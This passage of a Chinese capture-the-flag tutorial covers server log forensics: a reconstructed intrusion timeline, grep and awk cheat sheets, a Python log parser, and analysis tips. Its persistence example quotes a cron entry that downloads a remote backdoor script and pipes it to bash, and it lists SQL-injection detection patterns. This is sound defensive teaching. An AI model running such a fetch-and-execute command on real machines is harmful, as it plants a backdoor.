192.168.1.100 port 54322 ssh2 Sep 15 03:26:01 server sudo: www-data : TTY=pts/0 ; PWD=/var/www/html ; USER=root ; COMMAND=/bin/bash Sep 15 03:26:15 server sshd[12346]: Accepted password for root from 192.168.1.100 port 54323 ssh2攻击者通过webshell拿到了www-data权限,然后利用某个配置缺陷(可能是sudo配置不当)提权到了root,最后直接用root账号SSH登录了。第六步:检查权限维持grep "CRON" /var/log/cron | grep "Sep 15 03:2[6-9]"假设输出:Sep 15 03:27:01 server crond[12350]: (root) CMD (curl -s http://192.168.1.100/backdoor.sh | bash)攻击者加了定时任务,每分钟从自己的服务器下载脚本执行。这是典型的权限维持手法。第七步:整理时间线时间事件来源03:24:55攻击者访问upload.phpWeb日志03:25:17上传shell.php成功Web日志03:25:23访问shell.php验证Web日志03:25:45www-data SSH登录secure日志03:26:01sudo提权到rootsecure日志03:26:15root SSH登录secure日志03:27:01添加恶意定时任务cron日志这条时间线就是最终答案的核心。4.2 关键参数与命令速查在实际分析中,有一些命令组合是高频使用的。我整理了一个速查表:目的命令统计IP访问量awk '{print $1}' access.log | sort | uniq -c | sort -rn找404最多的IPawk '$9==404 {print $1}' access.log | sort | uniq -c | sort -rn找特定IP的请求grep "^IP" access.log | sort -k4找SQL注入尝试grep -iE "union|select|concat" access.log找路径穿越grep -E "\.\./|%2e%2e" access.log统计失败登录grep "Failed password" secure | awk '{print $(NF-3)}' | sort | uniq -c | sort -rn找sudo操作grep "sudo" secure | grep -v "session opened"找定时任务grep "CRON" cron按时间段过滤awk '$4 >= "[15/Sep/2021:03:00:00" && $4 <= "[15/Sep/2021:04:00:00"' access.log提示:awk的字段分隔默认是空格,但Web日志的时间字段包含空格(如[15/Sep/2021:03:25:17),所以用$4取时间时要注意。更稳妥的方式是用grep配合正则来过滤时间段。4.3 用Python做复杂分析当命令行搞不定的时候,Python就是终极武器。比如你需要把Web日志和secure日志按时间合并,或者做一些复杂的统计,Python脚本会方便很多。import re from datetime import datetime # 解析Web日志 def parse_web_log(filepath): pattern = r'(\S+) - - \[(.*?)\] "(\S+) (\S+) \S+" (\d+) (\d+)' entries = [] with open(filepath, 'r') as f: for line in f: match = re.search(pattern, line) if match: ip, time_str, method, url, status, size = match.groups() # 转换时间格式 dt = datetime.strptime(time_str.split()[0], '%d/%b/%Y:%H:%M:%S') entries.append({ 'ip': ip, 'time': dt, 'method': method, 'url': url, 'status': int(status), 'size': int(size) }) return entries # 找可疑IP def find_suspicious_ips(entries, threshold=100): from collections import Counter ip_counts = Counter(e['ip'] for e in entries) # 找404比例高的IP ip_404 = Counter(e['ip'] for e in entries if e['status'] == 404) suspicious = [] for ip, count in ip_counts.items(): if count > threshold: ratio_404 = ip_404.get(ip, 0) / count if ratio_404 > 0.5: # 超过50%是404 suspicious.append((ip, count, ratio_404)) return sorted(suspicious, key=lambda x: x[2], reverse=True) # 使用 entries = parse_web_log('access.log') suspicious = find_suspicious_ips(entries) for ip, count, ratio in suspicious: print(f"IP: {ip}, 总请求: {count}, 404比例: {ratio:.2%}")这个脚本能快速帮你筛出那些“扫描型”IP。实际比赛中,你可以根据情况调整阈值和判断条件。5. 常见问题与排查技巧实录5.1 日志分析中的典型坑与解决方案坑一:时间格式不统一Web日志用的是15/Sep/2021:03:25:17,系统日志用的是Sep 15 03:25:17,数据库日志可能又是另一种格式。做时间线关联时,必须先统一格式。解决方案:写一个转换函数,把所有时间都转成Python的datetime对象,然后再比较。不要试图用字符串比较,容易出错。坑二:日志被截断或轮转比赛环境中的日志可能不是完整的,或者有多个轮转文件(如access.log.1、access.log.2.gz)。分析前先确认日志的完整性。# 查看所有日志文件 ls -la /var/log/ # 如果有压缩的轮转日志,先解压 gunzip access.log.*.gz # 按时间顺序合并 cat access.log.1 access.log > combined.log坑三:编码问题有些日志可能包含非UTF-8字符,直接grep可能会报错或漏匹配。# 查看文件编码 file access.log # 如果显示ISO-8859,转换编码 iconv -f ISO-8859-1 -t UTF-8 access.log > access_utf8.log坑四:误报与噪音不是所有异常都是攻击。比如内部扫描器、监控系统的健康检查、搜索引擎爬虫,都可能产生看起来“可疑”的请求。判断方法:看User-Agent、看请求频率、看来源IP是否在已知的白名单里。如果某个IP的请求模式非常规律(比如每5分钟一次),那很可能是监控系统而不是攻击者。5.2 快速排查速查表问题现象可能原因排查命令大量404目录扫描awk '$9==404 {print $1}' access.log | sort | uniq -c | sort -rn大量401/403爆破尝试awk '$9==401 || $9==403 {print $1}' access.log | sort | uniq -c | sort -rn异常POST请求webshell上传/命令执行grep "POST" access.log | grep -v "login|search"SSH失败登录激增SSH爆破grep "Failed password" secure | awk '{print $(NF-3)}' | sort | uniq -c | sort -rn非工作时间sudo提权grep "sudo" secure | grep -v "session opened"异常定时任务权限维持grep "CRON" cron日志文件突然变小反取证清理ls -la /var/log/secure5.3 独家避坑经验经验一:先看时间范围,再看内容。很多人一上来就grep关键词,结果匹配到一堆无关记录。正确的做法是先确定日志的时间范围,然后聚焦在异常时间段内分析。比如你知道攻击发生在凌晨3点左右,那就只看2点到4点的日志,效率会高很多。经验二:不要忽略“正常”请求。有些攻击者会把自己的请求伪装成正常流量。比如把webshell命名为image.php,把恶意参数藏在正常的id参数里。这时候光看URL路径是不够的,还要看参数内容、请求体大小、响应时间等。经验三:善用uniq -c做统计。日志分析的本质是“从大量数据中找异常”,而异常往往表现为“频率异常”。某个IP的请求量突然暴增、某个URL被反复访问、某个状态码集中出现——这些都是线索。sort | uniq -c | sort -rn这个组合拳要练到肌肉记忆。经验四:保存中间结果。分析过程中,你会不断筛选出一些可疑IP、可疑URL。把这些结果保存到单独的文件里,方便后续交叉比对。# 保存可疑IP列表 awk '$9==404 {print $1}' access.log | sort -u > suspicious_ips.txt # 保存可疑URL列表 grep -iE "union|select" access.log | awk '{print $7}' | sort -u > suspicious_urls.txt经验五:比赛环境中,出题人往往会留下“彩蛋”。比如一个特别明显的攻击IP(如192.168.1.100),或者一个特别典型的攻击工具特征(如sqlmap的默认User-Agent)。这些是给你送分的,不要想得太复杂。先把这些明显的线索抓住,再去挖深层的东西。5.4 从比赛到实战的思维转换最后聊一点思维层面的东西。比赛中的日志分析题,往往有明确的“正确答案”——攻击者是谁、什么时候进来的、干了什么。但实战中的日志分析,更多时候是在“排除可能性”。你看到一个异常,首先要问自己:这一定是攻击吗?有没有可能是误报?有没有可能是正常业务?这种“怀疑一切”的思维,在实战中比任何工具都重要。另外,实战中的日志量往往比比赛大几个数量级。你不可能手动分析每一条记录。这时候就需要建立“基线”——知道正常情况下日志长什么样,然后只关注偏离基线的部分。这个基线可以是时间维度(比如凌晨的异常流量)、频率维度(比如某个IP的请求量突增)、内容维度(比如出现了以前从未见过的URL)。“陇剑杯”的日志分析题,本质上是在模拟这种实战场景。它给你的日志量不算太大,但足够让你练习“从噪音中找信号”的能力。把这个能力练好了,不管是比赛还是工作,都能用得上。我个人在实际操作中的体会是:日志分析这件事,工具和命令只是基础,真正拉开差距的是耐心和好奇心。耐心让你愿意一行一行地看日志,好奇心让你在看到异常时愿意多问一句“为什么”。这两点,比任何高级工具都管用。